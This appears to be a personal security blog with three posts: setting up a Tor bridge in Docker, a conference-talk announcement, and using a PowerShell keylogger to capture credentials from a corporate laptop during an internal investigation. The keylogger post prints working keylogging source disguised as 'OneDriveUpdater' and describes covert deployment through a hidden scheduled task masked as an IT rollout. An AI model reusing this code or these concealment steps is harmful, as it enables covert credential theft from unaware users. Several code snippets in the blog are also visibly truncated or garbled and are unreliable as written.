Dockerizing Tor Bridge

So I saw this on my Twitter feed the other day about how Tor needs help increasing their number of bridges in the ecosystem and figured I’ve got my homelab rig running with some spare bandwidth, so why not help out as the impact to my own resources in low and the importance of helping to protect discourse on climate crisis and human rights is high.

Having recently jumped on the container bandwagon with everything running on my homelab (a ThinkServer 440 server running Proxmox hypervisor behind an Untangle firewall with Unifi wifi and managed switches) I figured I’d give it a try and follow their recently updated instructions which included a Docker install.

Look at all dem containers!

So first oddity is the bash script they want you to just pull from the internet and run… Which you should never just blindly do, so let’s take a look at that script:

#!/usr/bin/env bash
# This script launches an obfs4proxy docker container.  Don't start the docker
# container directly with docker.  We need this wrapper script because it
# automatically determines a random OR port and obfs4 port.
# Note that we link to this script from:
# <>
# If we change the path to this script, we must update the above instructions.

# Get the bridge operator's email address.
if [ $# -ne 1 ]
    >&2 echo -e "Usage: $0 EMAIL_ADDR\n"
    >&2 echo "Please provide your email address so we're able to reach you in" \
             "case of problems with your bridge."
    exit 1

function get_port {
    # Here's where the following code snippet comes from:
    # <>
    read LOWERPORT UPPERPORT < /proc/sys/net/ipv4/ip_local_port_range
    while :
            port="`shuf -i $LOWERPORT-$UPPERPORT -n 1`"
            ss -lpn | grep -q ":$port" || break
    echo "$port"

# Determine random ports.

# Keep getting a new PT port until it's different from our OR port.  This loop
# will only run if we happened to choose the same port for both variables, which
# is unlikely.
while [ "$PT_PORT" -eq "$OR_PORT" ]

# Pass our two ports and email address to the container using environment
# variables.
docker run -d \
    -p "$OR_PORT":"$OR_PORT" -p "$PT_PORT":"$PT_PORT" \

The scripts grabs two random high ports and spins up the container with those and your email. Which makes sense since they want random ports to avoid censorship via easily distinguishing pattern, but is terrible if you need to port forward as this would require your port forwarding rules to update every time the container is rebuilt. So needless to say, I didn’t use this script and wrote a Docker Compose file (see below for finished result) with the image (phwinter/obfs4-bridge) and passed my own randomly picked ports.

So this spun up super easy, and I got some info from docker logs that it was successful. So next was to find my fingerprints per the blog post so I could tell them I was helping out and maybe win some swag (who doesn’t love swag). This required some Googling as it wasn’t readily apparent, mostly because this particular image didn’t have a symbolic link between the Tor log file (located at /var/log/tor/log based on this FAQ) with stdout so that Docker would pick it up with its logging driver. This is where your first initialized fingerprint ends up getting echoed out. Found this blogpost that explained this is a common practice, which I never realized that’s how it was done, I just embraced the Docker magic and enjoyed logs. So did this myself by dropping in to a shell and adding the link

docker exec -it tor-bridge /bin/sh
ln -sf /dev/stdout /var/log/tor/log</pre>

Which works for the time being, I’ve dropped a note to the official image maintainer to add that to his Dockerfile in the future. One other modification I did to this official image was add a persistent volume. Tor generates all the keys, certs, and fingerprints it needs upon initialization and you really want to store that data persistently so that you can keep the built up reputation as your container gets rebuilt. All this data is stored in /var/lib/tor under a hidden directory .tor, so I added a mountpoint for /var/lib/tor. Also, after some Googling and looking at others’ Docker Compose files (like @jessfraz’s), I added the localtime mountpoint for time sync. So all in, here’s my Docker Compose file:

version: '3'
: phwinter/obfs4-bridge:latest
: tor-bridge
      - ${OR_PORT}:${OR_PORT}
       - ${PT_PORT}:${PT_PORT}
       - OR_PORT=${OR_PORT}
       - PT_PORT=${PT_PORT}
       - EMAIL=${EMAIL}
      - /etc/localtime:/etc/localtime:ro
       - ./:/var/lib/tor
: tor-bridge
: unless-stopped

After I got this all up and running, I noticed my bandwidth util for this bridge was pretty uninteresting. Happened to come across this nice blog post that talks about the lifecycle of a new relay/bridge and found it super helpful. So I’m in the incubation period right now, periodically checking on the heartbeats and letting the bake-in process continue.

UPDATE: So after playing around with this and noticing that I’d frequently be reported as offline on the relay tracker, I decided to shop around on Docker containers. Besides the above gripes on the official image, it was a Debian based container vs. small Alpine, it utilized a startup script rather than just kicking tor binary off which generated the torrc config file. So I found chriswayg’s version which I really liked because the image was clean and stayed current (his base OS would refresh automatically, his build script pulled the latest Tor binaries down). So utilizing this image, with my torrc config file in hand (having added a line to specify the User (tord) and the DataDirectory as /var/lib/tor), I built my Docker Compose file and am now in business.

HouSecCon 2019 Talk

Been a long time since I’ve updated this site, but finally got around to having time to add my con talk here.

I spoke at HouSecCon 2019 about my experience building out an offensive security department for my global energy company. It was a fun experience, and I felt that I had fewer walkouts than some of the other talks I attended, so success! Shout out to @altazvalani for the help and guidance.

Slideshare link here for slides. Vimeo link here for the actual talk.

Looking forward to doing more talks. I really believe in giving back to the infosec community and sharing with others what has and hasn’t worked for me in this crazy game. Now to just keep that imposter syndrome at bay…

Practical Application of Keylogger for IR


As part of a recent internal investigation, we identified a need for a keylogger to grab some creds off a corporate laptop. After getting the necessary approvals lined up and documented, I started looking into how we might potentially do this.

This isn’t a standard pentest/offensivesec engagement where we needed to gain access first, since we already had local admin as part of standard sysadmin access. So we jumped straight into “exploit development”. Did a quick Google of keyloggers and found the usual candidates. Powershell would work for us in this scenario since we controlled antivirus and script execution settings, so we proceeded down this path.

Googlefu yielded several candidates, and I’ll talk through the rationale / evolution of what happened for us with the four Powershell keyloggers we used: simple keylogger, Powersploit, Nishang, and Shima’s.

Possible Solutions

“simple keylogger” :

I initially found this keylogger as the fourth hit on Google. After quickly reviewing the code and getting familiar, this seemed like it would work for us. I particularly liked the fact this had 1) documented coded (yay) and 2) had good hooks for debugging (console writes, opening file at the end). Gave a good structure to quickly iterate through.

I’ll speak later about our deployment, but the main challenge with this script was the fidelity of results that it returned. In our test deployment, we observed that keypresses were being dropped and it generally gave inconsistent results. It improved as the Start-Sleep -Milliseconds 40 timer was reduced, but Powershell CPU usage went way up (at value=1, CPU util=25%). That’d be super noticable (cue fan noise) and the accuracy of keystroke capture still wasn’t high enough. So we dropped this and started looking for alternative measures.

So that took me to Powersploit’s Get-Keystrokes. I’ve used other Powersploit modules, but never this one so figured I’d give it a shot and it’d be a slam dunk. Did some quick modifications to suit our environment. But when executed, output was just the header “TypedKey”,”WindowTitle”,”Time” but no keys captured. I’m no Powershell expert, so after ~10 minutes of fiddling, decided I’d see if there were other options and return to this if I couldn’t find another alternative.

Alright well if Powersploit isn’t going to work, let’s check out the nishang option. The persistence features and web based upload are pretty cool for pentest engagements, but not necessarily needed for this endeavor. Making the modifications to bring storage back internal seemed to be more intense, so after about 5 minutes on looking at this, went back to Google for something closer to endstate (because I’m lazy).

So then stumbled upon Shima’s keylogger. This was succinct enough that it would do the trick! Testing this quickly showed promise, but the output file listed each character on its own line. Since English is left to right readstyle, and I really didn’t want to write another script to post-process this file, I looked at options of fixing this. Output was based on

 Out-File -FilePath $logfile -Encoding Unicode -Append -InputObject $mychar.ToString()

and there’s a great argument -NoNewline that looked promising from Whipped that together and deployed on the test box, but quickly was back to the drawing board because this argument is a Powershell 5.0 feature, and the target was still on 2.0.

So to get around this, I figured let’s just build a string buffer with the inputs and write whenever we get an enter. A bit hacky, but should work fine and writing the buffer upon carriage return to the output file will suit our needs. Not being a Powershell guru, took some time to finally identify how to flag a carriage return with the converted keystate, but after consulting an Ascii table (like and testing 10 (line feed) and 13 (carriage return), we had a winner. So final code looked like this

function OneDriveUpdater {
$logfile = "$env:temp\key.log"
$virtualkc_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
$kbstate_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
$mapchar_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
$tounicode_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
$getKState = Add-Type -MemberDefinition $virtualkc_sig -name "Win32GetState" -namespace Win32Functions -passThru
$getKBState = Add-Type -MemberDefinition $kbstate_sig -name "Win32MyGetKeyboardState" -namespace Win32Functions -passThru
$getKey = Add-Type -MemberDefinition $mapchar_sig -name "Win32MyMapVirtualKey" -namespace Win32Functions -passThru
$getUnicode = Add-Type -MemberDefinition $tounicode_sig -name "Win32MyToUnicode" -namespace Win32Functions -passThru
$bufferString = ""
while ($true) {
Start-Sleep -Milliseconds 40
$validator = ""

for ($char = 1; $char -le 254; $char++) {
$vkey = $char
$validator = $getKState::GetAsyncKeyState($vkey)

if ($validator -eq -32767) {

$l_shift = $getKState::GetAsyncKeyState(160)
$r_shift = $getKState::GetAsyncKeyState(161)
$caps_lock = [console]::CapsLock

$scancode = $getKey::MapVirtualKey($vkey, $MAPVK_VSC_TO_VK_EX)

$kbstate = New-Object Byte[] 256
$checkkbstate = $getKBState::GetKeyboardState($kbstate)

$mychar = New-Object -TypeName "System.Text.StringBuilder";
$unicode_res = $getUnicode::ToUnicode($vkey, $scancode, $kbstate, $mychar, $mychar.Capacity, 0)

if ($unicode_res -gt 0) {
if ($mychar.ToString() -eq "`r") {
#debugging write output in case of error
Out-File -FilePath $logfile -Encoding Unicode -Append -InputObject $bufferString.ToString()
$bufferString = ""
else {$bufferString = $bufferString + $mychar}



For the deployment mechanism, we decided upon a scheduled task because we could connect to the endpoint remotely and we had local admin. So just pop open Scheduled Tasks, connect to endpoint remotely:

Create a task, and this is important, make sure to run it as the user. The script has to be run in the user’s context, otherwise you’ll get nothing.


Then another thing to note is the Action, we’ll kick powershell.exe but adding the flag -WindowStyle Hidden, which will result in a quick flicker of a powershell window but will quickly disappear. So either kick it off when the user isn’t around (afterhours) or make it a plausible looking script. We hijacked a current IT rollout to masquerade the script so it didn’t arouse too much suspicion.

The rest of the options are up to you: triggers, job ending/repeating, etc. We went with time kickoff in this particular example.

One final note is that we went with a network share location to store the files, a local filer that did the trick. Helps avoid the storage issue if the files get too large, and one less connection into the target’s box.


So that’s about a wrap. Was a useful exercise for us, got me more familiar with keylogger options on the cheap, since we don’t own a product that would do this for us.  And I wasn’t really in the mood to download a <insert nation-state here> backdoored keylogger. Anyway, hope this helped. Enjoy